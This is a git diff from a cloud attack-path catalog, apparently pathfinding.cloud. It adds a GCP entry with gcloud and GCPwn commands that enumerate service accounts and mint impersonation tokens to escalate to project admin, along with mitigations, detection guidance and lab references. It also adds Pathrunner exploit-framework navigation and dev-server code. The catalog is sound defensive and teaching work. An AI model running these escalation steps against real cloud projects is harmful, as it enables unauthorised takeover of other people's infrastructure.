+- **[SCHEMA.md](SCHEMA.md)**: Complete field documentation and examples (authoritative reference)
+- **[.Codex/AGENTS.md](.Codex/AGENTS.md)**: Anti-patterns, style guide, and contribution-specific guidance
+- **[CONTRIBUTING.md](CONTRIBUTING.md)**: Contribution guidelines with examples
+- **[README.md](README.md)**: Project overview and setup instructions
+- **scripts/validate-schema.py**: Validation logic (comprehensive checks)
+- **scripts/generate-json.py**: YAML to JSON converter
+- **.github/workflows/validate.yml**: PR validation workflow
+- **.github/workflows/deploy.yml**: GitHub Pages deployment workflow
+
+## Research Sources
+
+When adding new paths, cite these primary sources where applicable:
+- **Rhino Security Labs**: Original 21 methods by Spencer Gietzen
+- **Bishop Fox**: IAM Vulnerable project, additional 10 paths
+- **nccgroup**: PMapper implementation details
+- **AWS Documentation**: Official IAM permission docs
+
+## GitHub Actions Workflows
+
+### Validate Workflow (`.github/workflows/validate.yml`)
+- Triggers on: PRs and pushes to main affecting YAML files
+- Runs: `python scripts/validate-schema.py data/paths/`
+- Comments on PR: Success/failure status
+
+### Deploy Workflow (`.github/workflows/deploy.yml`)
+- Triggers on: Pushes to main branch
+- Steps:
+  1. Validate all YAML files
+  2. Generate JSON from YAML
+  3. Update website JavaScript to use JSON
+  4. Deploy to GitHub Pages
+- Permissions: Requires `pages: write` and `id-token: write`
+
+## Code Style
+
+### Python Scripts
+- Use Python 3.11+ features
+- Follow PEP 8
+- Include docstrings for functions
+- Use type hints where helpful
+- Provide clear error messages
+
+### YAML Files
+- Use 2-space indentation
+- Multi-line strings use `|` for description and recommendation
+- List items use `-` prefix
+- Strings with special characters should be quoted
+
+### Website Code
+- Vanilla JavaScript (no frameworks)
+- Responsive CSS (mobile-first)
+- Accessible HTML (semantic tags, ARIA labels)
+- Progressive enhancement
+
+## Imported Claude Cowork project instructions
+
+I want to create a powerpoint presentation template using the same theme and assets from a webpage that i created. So far I have created a hero-generator and a slide generator in that project as just simple html files that re-use as many of the website canvas elements, but i'd like to essentially create a powerpoint deck that has these elemenst built into the theme/design. mainly the background and the font part, but maybe a static footer graphic.
diff --git a/Makefile b/Makefile
index 884f0928..1917acc5 100644
--- a/Makefile
+++ b/Makefile
@@ -1,4 +1,4 @@
-.PHONY: help preview validate validate-strict generate generate-stubs generate-heroes install clean
+.PHONY: help preview validate validate-strict generate generate-labs generate-pathrunner generate-stubs generate-heroes install clean
 
 help:
 	@echo "pathfinding.cloud — common targets"
@@ -7,6 +7,8 @@ help:
 	@echo "  make validate          Validate all YAML files (drafts allowed)"
 	@echo "  make validate-strict   Validate all YAML files (no drafts)"
 	@echo "  make generate          Regenerate docs/paths.json from YAML"
+	@echo "  make generate-labs     Regenerate docs/labs.json from pathfinding-labs"
+	@echo "  make generate-pathrunner  Regenerate docs/pathrunner.json from pathrunner"
 	@echo "  make generate-stubs    Regenerate per-lab HTML stubs"
 	@echo "  make generate-heroes   Regenerate per-lab hero images (incremental)"
 	@echo "  make generate-heroes-force  Regenerate all hero images unconditionally"
@@ -24,6 +26,13 @@ validate-strict:
 generate:
 	python scripts/generate-json.py
 
+generate-labs:
+	python scripts/generate-labs-json.py
+
+# Reads docs/labs.json for module->lab deep links, so run `make generate-labs` first.
+generate-pathrunner:
+	python scripts/generate-pathrunner-json.py
+
 generate-stubs:
 	python scripts/generate-lab-stubs.py
 
diff --git a/SCHEMA.md b/SCHEMA.md
index 7ff31e8f..737fef4a 100644
--- a/SCHEMA.md
+++ b/SCHEMA.md
@@ -160,6 +160,7 @@ Supported tools:
 - `pathrunner` - Pathrunner
 - `gcloud` - Google Cloud CLI
 - `azurecli` - Azure CLI
+- `gcpwn` - GCPwn (NetSPI GCP pentesting framework)
 
 Each step object contains:
 - `step` (integer, required): Step number (1, 2, 3, etc.)
diff --git a/data/paths/gcp/iam/gcp-iam-001.yaml b/data/paths/gcp/iam/gcp-iam-001.yaml
new file mode 100644
index 00000000..3c77f38d
--- /dev/null
+++ b/data/paths/gcp/iam/gcp-iam-001.yaml
@@ -0,0 +1,164 @@
+id: gcp-iam-001
+name: iam.serviceAccounts.getAccessToken
+category: principal-access
+services:
+- iam
+permissions:
+  required:
+  - permission: iam.serviceAccounts.getAccessToken
+    resourceConstraints: Must be granted on the target service account, either via a custom role scoped to this permission or the predefined `roles/iam.serviceAccountTokenCreator` role
+  additional:
+  - permission: resourcemanager.projects.get
+    resourceConstraints: Helpful for confirming the current project context and the caller's own lack of project-level roles
+  - permission: iam.serviceAccounts.list
+    resourceConstraints: Helpful for enumerating service accounts in the project to identify impersonation targets
+  - permission: iam.serviceAccounts.getIamPolicy
+    resourceConstraints: Useful for inspecting IAM policy bindings on candidate service accounts to find impersonation grants (`roles/iam.serviceAccountTokenCreator` or a custom role granting `iam.serviceAccounts.getAccessToken`)
+description: A principal holding `iam.serviceAccounts.getAccessToken` on a service account can call the IAM Credentials API's `generateAccessToken` method to mint a short-lived OAuth 2.0 access token that authenticates as that service account, without ever needing a long-lived key. `gcloud` wraps this in the `--impersonate-service-account` flag. If the target service account holds a privileged project role, the attacker inherits all of its permissions for the lifetime of the minted token, entirely through IAM bindings and with no credential theft or code execution involved.
+prerequisites:
+  admin:
+  - A target service account must exist that the attacker's principal holds `iam.serviceAccounts.getAccessToken` on, whether via a custom role or the predefined `roles/iam.serviceAccountTokenCreator` role
+  - The target service account must hold administrative permissions at the project level (e.g., `roles/owner`, `roles/editor`, or an equivalent custom role)
+  lateral:
+  - A target service account must exist that the attacker's principal holds `iam.serviceAccounts.getAccessToken` on, whether via a custom role or the predefined `roles/iam.serviceAccountTokenCreator` role
+exploitationSteps:
+  gcloud:
+  - step: 1
+    command: |
+      gcloud iam service-accounts list --format='value(email)'
+    description: Enumerate service accounts in the project to identify potential impersonation targets
+  - step: 2
+    command: |
+      gcloud iam service-accounts get-iam-policy TARGET_SA@PROJECT_ID.iam.gserviceaccount.com
+    description: Inspect the IAM policy on a candidate service account to confirm the attacker's principal holds `iam.serviceAccounts.getAccessToken` on it (via a custom role or `roles/iam.serviceAccountTokenCreator`)
+  - step: 3
+    command: |
+      gcloud projects get-iam-policy PROJECT_ID \
+        --flatten="bindings[].members" \
+        --filter="bindings.members:TARGET_SA@PROJECT_ID.iam.gserviceaccount.com" \
+        --format="table(bindings.role)"
+    description: Confirm the target service account's own project-level role to determine the value of impersonating it
+  - step: 4
+    command: |
+      gcloud auth print-access-token \
+        --impersonate-service-account=TARGET_SA@PROJECT_ID.iam.gserviceaccount.com
+    description: Mint a short-lived OAuth access token that authenticates as the target service account
+  - step: 5
+    command: |
+      gcloud PROJECT_RESOURCE_COMMAND \
+        --impersonate-service-account=TARGET_SA@PROJECT_ID.iam.gserviceaccount.com
+    description: Run any `gcloud` command with `--impersonate-service-account` set to the target account to operate with its inherited project permissions
+  gcpwn:
+  - step: 1
+    command: |
+      modules run enum_gcp --iam
+    description: Enumerate IAM bindings across the project (GCPwn's IAM enumeration module surfaces `iam.serviceAccounts.getAccessToken` grants as it maps out privilege escalation edges)
+  - step: 2
+    command: |
+      modules run exploit_generate_access_token \
+        --target-sa projects/PROJECT_ID/serviceAccounts/TARGET_SA@PROJECT_ID.iam.gserviceaccount.com
+    description: Use GCPwn's single-permission-movement exploit module to mint a short-lived OAuth 2.0 access token for the target service account and pivot the active session's credentials to it
+limitations: |
+  This path provides administrative access only if the target service account holds `roles/owner`, `roles/editor`, or an equivalent administrative custom role at the project level. If the target only has narrowly scoped permissions, the attacker inherits only those, though even limited additional access may enable further multi-hop escalation. Note that `roles/editor` and `roles/viewer` deliberately exclude Secret Manager payload access (`secretmanager.versions.access`), so reaching secrets specifically requires the target to also hold an explicit `roles/secretmanager.secretAccessor` grant.
+recommendation: |
+  Service account impersonation is Google's recommended alternative to long-lived service account keys, but granting `iam.serviceAccounts.getAccessToken` across a privilege boundary turns that best practice into a privilege escalation path.
+
+  - **Avoid granting impersonation rights across privilege boundaries** - Never grant `iam.serviceAccounts.getAccessToken` (whether via the predefined `roles/iam.serviceAccountTokenCreator` role or a custom role bundling just this permission) to a principal that should not otherwise hold the target service account's permissions.
+  - **Scope impersonation grants with IAM Conditions** - Restrict bindings with time-bound or attribute-based conditions rather than granting unconditional, standing access:
+
+  ```json
+  {
+    "role": "roles/iam.serviceAccountTokenCreator",
+    "members": ["serviceAccount:automation-sa@PROJECT_ID.iam.gserviceaccount.com"],
+    "condition": {
+      "title": "time-bound-impersonation",
+      "expression": "request.time < timestamp(\"2026-12-31T00:00:00Z\")"
+    }
+  }
+  ```
+
+  - **Apply least privilege to service accounts that can be impersonated** - Replace broad primitive roles like `roles/editor` or `roles/owner` with narrowly scoped predefined or custom roles.
+  - **Prefer Workload Identity Federation** - Where possible, grant external workloads direct, narrowly-scoped access instead of chaining through an intermediate impersonatable service account.
+  - Monitor Cloud Audit Logs for `iam.googleapis.com/GenerateAccessToken` events where the impersonated service account holds `roles/editor` or `roles/owner`.
+  - Monitor for `iam.googleapis.com/SetIamPolicy` events that add new `iam.serviceAccounts.getAccessToken` grants (via `roles/iam.serviceAccountTokenCreator` or a custom role) to service accounts holding elevated project roles.
+  - Investigate `GenerateAccessToken` or `SignJwt` events followed within seconds by API calls the caller's own identity does not otherwise have access to.
+  - Regularly audit IAM bindings with Policy Analyzer / IAM Recommender to identify service accounts with unused or overly broad impersonation grants.
+discoveryAttribution:
+  firstDocumented:
+    author: Spencer Gietzen
+    organization: Rhino Security Labs
+    date: 2020
+    link: https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/
+references:
+- title: Privilege Escalation in Google Cloud Platform - Part 1 (IAM) - Rhino Security Labs
+  url: https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/
+- title: RhinoSecurityLabs/GCP-IAM-Privilege-Escalation - iam.serviceAccounts.getAccessToken exploit script
+  url: https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.getAccessToken.py
+- title: GCP - IAM Privesc - HackTricks Cloud
+  url: https://cloud.hacktricks.wiki/en/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-iam-privesc.html
+- title: 'Google Cloud: Manage short-lived service account credentials'
+  url: https://cloud.google.com/iam/docs/create-short-lived-credentials-direct
+- title: 'MITRE ATT&CK T1550.001: Use Alternate Authentication Material - Application Access Token'
+  url: https://attack.mitre.org/techniques/T1550/001/
+detectionTools:
+  prowler: https://github.com/prowler-cloud/prowler/blob/master/prowler/providers/gcp/services/iam/iam_no_service_roles_at_project_level/iam_no_service_roles_at_project_level.py#L19-L22
+  gcp-scanner: https://github.com/google/gcp_scanner/blob/main/src/gcp_scanner/scanner.py#L305-L356
+learningEnvironments:
+  pathfinding-labs:
+    type: open-source
+    githubLink: https://github.com/DataDog/pathfinding-labs
+    scenario: modules/scenarios/gcp/single-account/privesc-one-hop/to-admin/gcp-iam-001-iam-serviceaccountsgetaccesstoken
+    description: "Deploy Terraform into your own GCP project to practice this attack path: a service account holding `iam.serviceAccounts.getAccessToken` on a second, privileged service account impersonates it to inherit its project-level `roles/editor` and Secret Manager access."
+  gcpgoat:
+    type: open-source
+    githubLink: https://github.com/ine-labs/GCPGoat
+    scenario: Privilege Escalation Using Service Account Impersonation
+    description: "A deliberately vulnerable GCP infrastructure deployed via Terraform into your own GCP account. Its privilege escalation module has an attacker-controlled service account holding `roles/iam.serviceAccountTokenCreator` impersonate the `default-compute-engine` service account, inheriting its project-level `roles/editor` access."
+attackVisualization:
+  nodes:
+  - id: start
+    label: Starting Service Account
+    type: principal
+    description: The attacker's starting service account. It holds no project-level roles of its own, but has been granted `iam.serviceAccounts.getAccessToken` on a second, privileged service account, either via the predefined `roles/iam.serviceAccountTokenCreator` role or a custom role scoped to just this permission.
+  - id: target_sa
+    label: Target Service Account
+    type: principal
+    description: The privileged service account being impersonated. What the attacker actually gains depends entirely on what this service account holds at the time of the attack, since impersonation inherits its permissions rather than granting any fixed set.
+  - id: admin
+    label: Effective Administrator
+    type: outcome
+    color: '#99ff99'
+    description: The target service account holds `roles/owner`, `roles/editor`, or an equivalent administrative custom role at the project level. Impersonating it grants the attacker administrative control over the project. Note that `roles/editor` alone does not include Secret Manager payload access (`secretmanager.versions.access`), so reaching a specific secret's value also requires the target to hold an explicit `roles/secretmanager.secretAccessor` grant on that secret.
+  - id: limited_access
+    label: Limited Additional Access
+    type: outcome
+    color: '#ffeb99'
+    description: The target service account holds narrower, non-administrative permissions, such as access to a specific resource or service. Impersonating it grants only that scoped access, which may still enable further lateral movement or multi-hop escalation.
+  - id: no_access
+    label: No Additional Access
+    type: outcome
+    color: '#cccccc'
+    description: The target service account holds minimal or no meaningful permissions beyond what the attacker's starting principal already had, so impersonating it provides no material benefit.
+  edges:
+  - from: start
+    to: target_sa
+    label: iam.serviceAccounts.getAccessToken
+    description: The attacker calls the IAM Credentials API's `generateAccessToken` method, wrapped by `gcloud auth print-access-token --impersonate-service-account=...`, to mint a short-lived OAuth 2.0 access token that authenticates as the target service account.
+  - from: target_sa
+    to: admin
+    label: If target holds roles/editor or roles/owner
+    branch: A
+    condition: admin
+    description: If the target service account holds `roles/owner`, `roles/editor`, or an equivalent administrative custom role, the attacker inherits effective administrative control over the project for the lifetime of the minted token.
+  - from: target_sa
+    to: limited_access
+    label: If target holds narrower permissions
+    branch: B
+    condition: some_permissions
+    description: If the target service account holds only narrowly scoped permissions, such as access to a specific secret or resource, the attacker inherits that limited access.
+  - from: target_sa
+    to: no_access
+    label: If target holds minimal permissions
+    branch: C
+    condition: no_permissions
+    description: If the target service account has no meaningful permissions beyond the attacker's own, impersonating it provides no additional access.
diff --git a/docs/404.html b/docs/404.html
index 54538ff5..9563a6fd 100644
--- a/docs/404.html
+++ b/docs/404.html
@@ -31,6 +31,9 @@
             } else if (pathname.startsWith('/labs/')) {
                 redirect = window.location.origin + '/labs/';
                 sessionStorage.setItem('redirectPath', pathname);
+            } else if (pathname.startsWith('/pathrunner/')) {
+                redirect = window.location.origin + '/pathrunner/';
+                sessionStorage.setItem('redirectPath', pathname);
             } else {
                 // Otherwise redirect to root
                 redirect = window.location.origin + '/';
diff --git a/docs/dev-server.py b/docs/dev-server.py
index 13e07247..7ae9c9c4 100755
--- a/docs/dev-server.py
+++ b/docs/dev-server.py
@@ -8,6 +8,7 @@
 import http.server
 import socketserver
 import os
+import re
 from urllib.parse import urlparse
 
 DEFAULT_PORT = 8888
@@ -15,14 +16,23 @@
 class SPAHTTPRequestHandler(http.server.SimpleHTTPRequestHandler):
     """HTTP request handler with SPA support."""
 
+    # Ensure media types Python's mimetypes module may not know are served with
+    # the right Content-Type (so <video> can decode them instead of receiving
+    # text/html). Merge onto the base class map.
+    extensions_map = {
+        **http.server.SimpleHTTPRequestHandler.extensions_map,
+        '.webm': 'video/webm',
+        '.mp4': 'video/mp4',
+    }
+
     def do_GET(self):
         """Handle GET requests with SPA routing."""
         # Parse the URL path
         url_path = urlparse(self.path).path
 
         # List of file extensions that should be served directly
-        file_extensions = ['.html', '.css', '.js', '.json', '.png', '.jpg', '.jpeg',
-                          '.gif', '.svg', '.ico', '.woff', '.woff2', '.ttf', '.eot', '.txt']
+        file_extensions = ['.html', '.css', '.js', '.json', '.md', '.png', '.jpg', '.jpeg',
+                          '.gif', '.webm', '.mp4', '.svg', '.ico', '.woff', '.woff2', '.ttf', '.eot', '.txt']
 
         # Check if the request is for a static file
         is_file = any(url_path.endswith(ext) for ext in file_extensions)
@@ -62,6 +72,8 @@ def do_GET(self):
                 self.path = '/paths/index.html'
             elif url_path.startswith('/labs/'):
                 self.path = '/labs/index.html'
+            elif url_path.startswith('/pathrunner/'):
+                self.path = '/pathrunner/index.html'
             else:
                 # Otherwise serve root index.html
                 self.path = '/index.html'
@@ -70,6 +82,105 @@ def do_GET(self):
         # Default: serve normally
         return super().do_GET()
 
+    def send_head(self):
+        """Serve a file, honoring HTTP Range requests.
+
+        Python's stock SimpleHTTPRequestHandler ignores the `Range` header and
+        always replies `200 OK` with the full body. Browsers require a
+        `206 Partial Content` response to seek within a <video>/<audio>
+        element, so without this, scrubbing the progress bar on the demo WebM
+        videos silently does nothing on the dev server. GitHub Pages (prod)
+        already supports Range; this makes local behavior match.
+
+        For requests without a Range header we defer entirely to the base
+        class.
+        """
+        range_header = self.headers.get('Range')
+        if not range_header:
+            return super().send_head()
+
+        path = self.translate_path(self.path)
+        # Directories and missing files: let the base class handle its own
+        # redirect/index/404 logic (no partial-content semantics apply).
+        if os.path.isdir(path) or not os.path.isfile(path):
+            return super().send_head()
+
+        # Only byte ranges are supported; anything else falls back to a full
+        # 200 response, which is a valid answer to any Range request.
+        match = re.match(r'^bytes=(\d*)-(\d*)$', range_header.strip())
+        if not match:
+            return super().send_head()
+
+        try:
+            f = open(path, 'rb')
+        except OSError:
+            self.send_error(404, "File not found")
+            return None
+
+        try:
+            file_size = os.fstat(f.fileno()).st_size
+            start_group, end_group = match.group(1), match.group(2)
+
+            if start_group == '':
+                # Suffix range: last N bytes (e.g. "bytes=-500").
+                if end_group == '':
+                    f.close()
+                    return super().send_head()
+                length = min(int(end_group), file_size)
+                start = file_size - length
+                end = file_size - 1
+            else:
+                start = int(start_group)
+                end = int(end_group) if end_group != '' else file_size - 1
+                end = min(end, file_size - 1)
+
+            # Unsatisfiable range (start past EOF or inverted).
+            if start >= file_size or start > end:
+                self.send_response(416)
+                self.send_header('Content-Range', f'bytes */{file_size}')
+                self.end_headers()
+                f.close()
+                return None
+
+            length = end - start + 1
+            f.seek(start)
+
+            self.send_response(206)
+            self.send_header('Content-type', self.guess_type(path))
+            self.send_header('Accept-Ranges', 'bytes')
+            self.send_header('Content-Range', f'bytes {start}-{end}/{file_size}')
+            self.send_header('Content-Length', str(length))
+            self.send_header('Last-Modified', self.date_time_string(os.fstat(f.fileno()).st_mtime))
+            self.end_headers()
+
+            # Hand the caller a file positioned at `start`; cap how much
+            # copyfile() will read so it stops at the end of the range.
+            self._range_remaining = length
+            return f
+        except Exception:
+            f.close()
+            raise
+
+    def copyfile(self, source, outputfile):
+        """Copy at most `_range_remaining` bytes for a 206 response.
+
+        The base class copies the whole file; for a partial response we must
+        stop at the end of the requested range. A one-shot flag keeps normal
+        (non-range) responses on the default full-copy path.
+        """
+        remaining = getattr(self, '_range_remaining', None)
+        if remaining is None:
+            return super().copyfile(source, outputfile)
+        self._range_remaining = None  # reset for subsequent requests on this handler
+
+        chunk_size = 64 * 1024
+        while remaining > 0:
+            chunk = source.read(min(chunk_size, remaining))
+            if not chunk:
+                break
+            outputfile.write(chunk)
+            remaining -= len(chunk)
+
     def end_headers(self):
         """Add headers to prevent caching during development."""
         self.send_header('Cache-Control', 'no-store, no-cache, must-revalidate')
diff --git a/docs/index.html b/docs/index.html
index 9c49f5af..9aa76ee8 100644
--- a/docs/index.html
+++ b/docs/index.html
@@ -422,6 +422,7 @@
                     </div>
                 </div>
                 <a href="/labs/" class="nav-link">Labs</a>
+                <a href="/pathrunner/" class="nav-link">Pathrunner</a>
             </nav>
             <div class="header-right">
                 <a href="https://securitylabs.datadoghq.com" target="_blank" class="datadog-logo-link" aria-label="Visit Datadog Security Labs">
@@ -480,6 +481,14 @@
                     <a href="/labs/" class="mobile-nav-link mobile-nav-child">Labs Catalog</a>
                     <a href="/labs/getting-started" class="mobile-nav-link mobile-nav-child">Getting Started</a>
                 </div>
+                <div class="mobile-nav-group">
+                    <span class="mobile-nav-parent">Pathrunner</span>
+                    <a href="/pathrunner/" class="mobile-nav-link mobile-nav-child">Overview</a>
+                    <a href="/pathrunner/getting-started" class="mobile-nav-link mobile-nav-child">Getting Started</a>
+                    <a href="/pathrunner/commands" class="mobile-nav-link mobile-nav-child">Commands</a>
+                    <a href="/pathrunner/modules" class="mobile-nav-link mobile-nav-child">Exploit Modules</a>
+                    <a href="/pathrunner/payloads" class="mobile-nav-link mobile-nav-child">Payloads</a>
+                </div>
             </nav>
         </div>
     </div>
@@ -528,6 +537,37 @@
                     </a>
                 </div>
             </div>
+
+            <hr class="sidebar-divider">
+            <div class="sidebar-group" id="sidebar-group-pathrunner">
+                <button class="sidebar-group-toggle" data-tooltip="Pathrunner">
+                    <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/></svg>
+                    <span class="sidebar-label">Pathrunner</span>
+                    <svg class="sidebar-chevron" width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="9 18 15 12 9 6"/></svg>
+                </button>
+                <div class="sidebar-group-items">
+                    <a href="/pathrunner/" class="sidebar-item sidebar-child" data-tooltip="Overview">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><rect x="3" y="3" width="7" height="7"/><rect x="14" y="3" width="7" height="7"/><rect x="14" y="14" width="7" height="7"/><rect x="3" y="14" width="7" height="7"/></svg>
+                        <span class="sidebar-label">Overview</span>
+                    </a>
+                    <a href="/pathrunner/getting-started" class="sidebar-item sidebar-child" data-tooltip="Getting Started">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="10"/><polygon points="16.24 7.76 14.12 14.12 7.76 16.24 9.88 9.88 16.24 7.76"/></svg>
+                        <span class="sidebar-label">Getting Started</span>
+                    </a>
+                    <a href="/pathrunner/commands" class="sidebar-item sidebar-child" data-tooltip="Commands">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/></svg>
+                        <span class="sidebar-label">Commands</span>
+                    </a>
+                    <a href="/pathrunner/modules" class="sidebar-item sidebar-child" data-tooltip="Exploit Modules">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 16V8a2 2 0 0 0-1-1.73l-7-4a2 2 0 0 0-2 0l-7 4A2 2 0 0 0 3 8v8a2 2 0 0 0 1 1.73l7 4a2 2 0 0 0 2 0l7-4A2 2 0 0 0 21 16z"/><polyline points="3.27 6.96 12 12.01 20.73 6.96"/><line x1="12" y1="22.08" x2="12" y2="12"/></svg>
+                        <span class="sidebar-label">Exploit Modules</span>
+                    </a>
+                    <a href="/pathrunner/payloads" class="sidebar-item sidebar-child" data-tooltip="Payloads">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M12 2L2 7l10 5 10-5-10-5z"/><polyline points="2 17 12 22 22 17"/><polyline points="2 12 12 17 22 12"/></svg>
+                        <span class="sidebar-label">Payloads</span>
+                    </a>
+                </div>
+            </div>
         </nav>
 
         <button id="sidebar-collapse-toggle" class="sidebar-collapse-btn" data-tooltip="Collapse">
@@ -574,6 +614,36 @@ <h2 class="section-title">Labs</h2>
                     Deploy self-hosted scenarios individually or in groups. Scenarios can be used to validate your CSPM and CIEM tooling, or to test your exploitation skills in a safe, isolated environment. Essentially, "Stratus Red Team" meets "IAM Vulnerable".
                 </p>
             </a>
+
+            <a href="/pathrunner/" class="landing-section-card">
+                <div class="section-image">
+                    <svg viewBox="0 0 400 160" preserveAspectRatio="xMidYMid slice" style="width:100%;height:100%;display:block;" role="img" aria-label="Pathrunner terminal illustration">
+                        <defs>
+                            <linearGradient id="pr-card-bg" x1="0" y1="0" x2="1" y2="1">
+                                <stop offset="0" stop-color="#1b1033"/>
+                                <stop offset="1" stop-color="#32215c"/>
+                            </linearGradient>
+                        </defs>
+                        <rect width="400" height="160" fill="url(#pr-card-bg)"/>
+                        <circle cx="26" cy="26" r="5" fill="#ff5f57"/>
+                        <circle cx="44" cy="26" r="5" fill="#febc2e"/>
+                        <circle cx="62" cy="26" r="5" fill="#28c840"/>
+                        <g font-family="ui-monospace, Menlo, monospace" font-size="13">
+                            <text x="22" y="64" fill="#9d4edd">pathrunner&gt;</text><text x="112" y="64" fill="#e8e0ff">use lambda-001</text>
+                            <text x="22" y="88" fill="#9d4edd">pathrunner&gt;</text><text x="112" y="88" fill="#e8e0ff">set PAYLOAD exfil/response</text>
+                            <text x="22" y="112" fill="#9d4edd">pathrunner&gt;</text><text x="112" y="112" fill="#e8e0ff">exploit</text>
+                            <text x="22" y="136" fill="#28c840">[+] escalated &rarr; admin</text>
+                        </g>
+                    </svg>
+                </div>
+                <h2 class="section-title">Pathrunner</h2>
+                <span class="section-tag">Automate Exploitation</span>
+                <span class="section-tag">80+ Modules</span>
+                <span class="section-tag">Metasploit-style REPL</span>
+                <p class="section-description">
+                    A modular AWS privilege escalation exploitation framework. Browse the full command, module, and payload reference, with each module tied to its path definition and practice lab.
+                </p>
+            </a>
         </div>
     </main>
 
diff --git a/docs/js/app.js b/docs/js/app.js
index a8440141..a7f676c7 100644
--- a/docs/js/app.js
+++ b/docs/js/app.js
@@ -1536,7 +1536,10 @@ function renderExploitationSteps(steps) {
         'stratus': 'Stratus',
         'leonidas': 'Leonidas',
         'nebula': 'Nebula',
-        'pathrunner': 'Pathrunner'
+        'pathrunner': 'Pathrunner',
+        'gcloud': 'gcloud CLI',
+        'azurecli': 'Azure CLI',
+        'gcpwn': 'GCPwn'
     };
 
     const uniqueId = `tabs-${Date.now()}-${Math.random().toString(36).substr(2, 9)}`;
diff --git a/docs/js/pathrunner.js b/docs/js/pathrunner.js
new file mode 100644
index 00000000..de80067f
--- /dev/null
+++ b/docs/js/pathrunner.js
@@ -0,0 +1,848 @@
+/*
+ * Pathrunner reference SPA.
+ *
+ * Mirrors the labs section: loads a lightweight index (/pathrunner.json) once to
+ * drive the landing page, sidebar section counts, and client-side search, then
+ * lazy-loads per-entry detail from /pathrunner/data/{kind}/{id}.json on
+ * navigation. Routing uses the History API and honors the GitHub-Pages 404->SPA
+ * redirect (sessionStorage.redirectPath), exactly like docs/js/labs.js.
+ */
+
+// ── Global state ──────────────────────────────────────────────────────────
+let prIndex = null;                 // the /pathrunner.json index
+const detailCache = {};             // `${kind}/${id}` -> detail object
+let guideMarkdown = null;           // cached getting-started.md source
+let currentRoute = { view: 'landing' };
+
+// ── Theme (shared pattern with labs.js) ───────────────────────────────────
+function initTheme() {
+    const savedTheme = localStorage.getItem('theme') || 'light';
+    if (savedTheme === 'light') {
+        document.documentElement.classList.add('light-theme');
+    }
+}
+
+function toggleTheme() {
+    document.documentElement.classList.toggle('light-theme');
+    const currentTheme = document.documentElement.classList.contains('light-theme') ? 'light' : 'dark';
+    localStorage.setItem('theme', currentTheme);
+}
+
+// ── Mobile menu (shared pattern with labs.js) ─────────────────────────────
+function initMobileMenu() {
+    const mobileMenuToggle = document.getElementById('mobile-menu-toggle');
+    const mobileMenuClose = document.getElementById('mobile-menu-close');
+    const mobileMenuOverlay = document.getElementById('mobile-menu-overlay');
+    if (!mobileMenuToggle || !mobileMenuClose || !mobileMenuOverlay) return;
+
+    mobileMenuToggle.addEventListener('click', () => {
+        mobileMenuOverlay.classList.add('active');
+        document.body.style.overflow = 'hidden';
+    });
+    const closeMobileMenu = () => {
+        mobileMenuOverlay.classList.remove('active');
+        document.body.style.overflow = '';
+    };
+    mobileMenuClose.addEventListener('click', closeMobileMenu);
+    mobileMenuOverlay.addEventListener('click', (e) => {
+        if (e.target === mobileMenuOverlay) closeMobileMenu();
+    });
+    document.addEventListener('keydown', (e) => {
+        if (e.key === 'Escape' && mobileMenuOverlay.classList.contains('active')) {
+            closeMobileMenu();
+        }
+    });
+}
+
+// ── Small HTML helpers ────────────────────────────────────────────────────
+function escapeHtml(value) {
+    if (value === null || value === undefined) return '';
+    return String(value)
+        .replace(/&/g, '&amp;')
+        .replace(/</g, '&lt;')
+        .replace(/>/g, '&gt;')
+        .replace(/"/g, '&quot;')
+        .replace(/'/g, '&#039;');
+}
+
+// Render plain text defensively: escape everything, then turn `code` spans into
+// <code>, blank lines into paragraph breaks, and single newlines into <br>.
+function renderText(value) {
+    if (!value) return '';
+    let html = escapeHtml(value);
+    html = html.replace(/`([^`]+)`/g, '<code>$1</code>');
+    const paragraphs = html.split(/\n\s*\n/).map((p) => p.replace(/\n/g, '<br>'));
+    return paragraphs.map((p) => `<p>${p}</p>`).join('');
+}
+
+function titleCase(value) {
+    if (!value) return '';
+    return value.replace(/[-_]/g, ' ').replace(/\b\w/g, (c) => c.toUpperCase());
+}
+
+// ── Data loading ──────────────────────────────────────────────────────────
+async function loadPathrunner() {
+    const landing = document.getElementById('pr-landing');
+    try {
+        const response = await fetch('/pathrunner.json');
+        if (!response.ok) throw new Error(`HTTP ${response.status}`);
+        prIndex = await response.json();
+    } catch (err) {
+        landing.innerHTML = `<div class="pr-empty" style="padding:40px;">
+            Could not load the Pathrunner reference data (${escapeHtml(err.message)}).</div>`;
+        return;
+    }
+    renderLanding();
+    setupSearch();
+    initRouter();
+}
+
+async function fetchDetail(kind, id) {
+    const key = `${kind}/${id}`;
+    if (detailCache[key]) return detailCache[key];
+    const response = await fetch(`/pathrunner/data/${kind}/${encodeURIComponent(id)}.json`);
+    if (!response.ok) throw new Error(`HTTP ${response.status}`);
+    const data = await response.json();
+    detailCache[key] = data;
+    return data;
+}
+
+// ── Router ────────────────────────────────────────────────────────────────
+function initRouter() {
+    const redirectPath = sessionStorage.getItem('redirectPath');
